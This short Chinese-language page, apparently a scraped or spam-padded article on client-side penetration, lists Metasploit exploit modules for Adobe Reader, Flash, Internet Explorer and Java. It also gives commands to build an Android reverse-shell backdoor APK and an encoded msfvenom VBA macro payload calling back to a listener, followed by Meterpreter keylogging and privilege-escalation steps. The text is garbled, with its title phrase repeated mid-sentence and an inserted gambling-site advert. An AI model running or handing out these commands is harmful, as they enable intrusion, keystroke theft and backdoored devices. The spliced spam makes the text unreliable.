客户端渗透的特点内网渗透和外网渗透的区别

利用Acrobat Reader漏洞执行payload构造PDF文件exploit/windows/fileformat/adobe_utilprintf

仅支持8.1.2软件版本和XP系统客户端渗透的太平洋在线下载xg111net太平洋xg111特点；

构造恶意网站exploit/windows/browser/adobe_utilprintf #同理客户端渗透的特点，浏览器上运行pDF

之后可以通过Meterpreter进行下一步操作use priv #提权run post/windows/capture/keylog_recorder #键盘记录器

利用Flash插件漏洞执行payloaduse exploit/multi/browser/adobe_flash_hacking_team_uafuse exploit/multi/browser/adobe_flash_opaque_background_uafuse auxiliary/server/browser_autopwn2

利用IE浏览器漏洞执行payloaduse exploit/windows/browser/ms14_064_ole_code_execution利用JRE漏洞执行payloaduse exploit/multi/browser/java_jre17_driver_manager

use exploit/multi/browser/java_jre17_jmxbeanuse exploit/multi/browser/java_jre17_reflection_types

生成Android后门程序use payload/android/meterpreter/reverse_tcp generate -f raw -p android -o a.apk

VBScript感染方式利用宏感染word、excel文档绕过某些基于文件类型检查的安全机制生成vbscript脚本客户端渗透的特点：msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -f vba-exeOffice 2007视图-宏-创建Payload第一部分粘入VBA代码Payload第二部分粘入word文档正文客户端渗透的特点；Msf启动侦听use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp

标签： 客户端渗透的特点